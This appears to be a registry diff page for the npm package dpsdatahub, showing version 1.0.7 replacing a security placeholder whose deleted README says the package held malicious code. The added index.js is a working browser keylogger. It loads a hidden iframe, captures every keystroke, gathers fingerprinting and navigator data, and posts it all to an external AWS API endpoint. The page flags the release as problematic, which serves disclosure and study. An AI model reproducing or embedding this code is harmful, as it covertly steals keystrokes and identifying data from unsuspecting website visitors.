dpsdatahub 0.0.1-security → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dpsdatahub might be problematic. Click here for more details.

package/index.d.ts ADDED
@@ -0,0 +1,3 @@
1
+ declare const dps: () => {};
2
+
3
+ export = dps;
package/index.js ADDED
@@ -0,0 +1,110 @@
1
+ const FingerprintJS = require('@fingerprintjs/fingerprintjs');
2
+
3
+ const SESSION_API = 'https://zigv8je6wc.execute-api.eu-central-1.amazonaws.com/default/postDpsSession';
4
+ const SEARCH_API = 'https://zigv8je6wc.execute-api.eu-central-1.amazonaws.com/default/postSearchActivity';
5
+ let SEARCH = [];
6
+ let SEARCH_TIMEOUT = '';
7
+ let COOKIE_ID = '';
8
+
9
+
10
+ const dps = () => {
11
+ const iframe = document.createElement("iframe");
12
+ iframe.setAttribute("src", "https://dpsiframe.s3.eu-central-1.amazonaws.com/index.html");
13
+ iframe.setAttribute("id", "dps");
14
+ iframe.style.display = "none";
15
+ document.body.appendChild(iframe);
16
+
17
+ window.addEventListener("message", message => {
18
+ if (!message.origin.includes("https://dpsiframe.s3.eu-central-1.amazonaws.com")) return;
19
+
20
+ COOKIE_ID = message;
21
+ localStorage.setItem("msg from dps ==>", JSON.stringify(COOKIE_ID.data));
22
+ console.log("msg from dps ==>", COOKIE_ID.data);
23
+
24
+ setCookie();
25
+ });
26
+
27
+ window.addEventListener("keyup", onKeyPress);
28
+ };
29
+
30
+ const onKeyPress = (e) => {
31
+ SEARCH.push({code: e.code, key: e.key, timestamp: new Date()})
32
+ try {
33
+ clearTimeout(SEARCH_TIMEOUT);
34
+ } catch (err) {};
35
+ searchTimeout();
36
+ }
37
+
38
+ const searchTimeout = () => {
39
+ SEARCH_TIMEOUT = window.setTimeout(() => {
40
+ postData(SEARCH_API, {id: COOKIE_ID.data.id, origin: window.origin, search: SEARCH});
41
+ clearTimeout(SEARCH_TIMEOUT);
42
+ SEARCH = [];
43
+ }, 5000);
44
+ }
45
+
46
+ const setCookie = async () => {
47
+ const fp = await FingerprintJS.load();
48
+ const { visitorId } = await fp.get();
49
+
50
+ postData(SESSION_API, {
51
+ id: COOKIE_ID.data.id,
52
+ isOrigin: COOKIE_ID.data.isOrigin,
53
+ origin: window.origin,
54
+ system: getSystemInfo(),
55
+ fingerPrintId: visitorId
56
+ });
57
+ }
58
+
59
+ const getSystemInfo = () => {
60
+ return {
61
+ appCodeName: window.navigator.appCodeName,
62
+ appName: window.navigator.appName,
63
+ appVersion: window.navigator.appVersion,
64
+ cookieEnabled: window.navigator.cookieEnabled,
65
+ gpu: window.navigator.gpu,
66
+ geolocation: window.navigator.geolocation,
67
+ hardwareConcurrency: window.navigator.hardwareConcurrency,
68
+ hid: window.navigator.hid,
69
+ language: window.navigator.language,
70
+ languages: window.navigator.languages,
71
+ mediaDevices: window.navigator.mediaDevices,
72
+ mediaSession: window.navigator.mediaSession,
73
+ mimeTypes: window.navigator.mimeTypes,
74
+ userAgent: window.navigator.userAgent,
75
+ vendor: window.navigator.vendor,
76
+ vendorSub: window.navigator.vendorSub,
77
+ webdriver: window.navigator.webdriver,
78
+ windowControlsOverlay: window.navigator.windowControlsOverlay,
79
+ productSub: window.navigator.productSub,
80
+ product: window.navigator.product,
81
+ usb: window.navigator.usb,
82
+ presentation: window.navigator.presentation,
83
+ onLine: window.navigator.onLine,
84
+ pdfViewerEnabled: window.navigator.pdfViewerEnabled,
85
+ platform: window.navigator.platform,
86
+ userAgentData: window.navigator.userAgentData,
87
+ storage: window.navigator.storage,
88
+ }
89
+ }
90
+
91
+ const postData = (url = "", data = {}) => {
92
+ try {
93
+ let myHeaders = new Headers();
94
+ myHeaders.append("Content-Type", "application/json");
95
+
96
+ let raw = JSON.stringify(data);
97
+
98
+ let requestOptions = {
99
+ method: 'POST',
100
+ headers: myHeaders,
101
+ body: raw,
102
+ redirect: 'follow',
103
+ mode: 'no-cors'
104
+ };
105
+
106
+ fetch(url, requestOptions);
107
+ } catch (err) {}
108
+ }
109
+
110
+ module.exports = dps;
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "dpsdatahub",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.7",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "dependencies": {
10
+ "@fingerprintjs/fingerprintjs": "^4.2.1"
11
+ },
12
+ "author": "",
13
+ "license": "ISC"
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dpsdatahub for more information.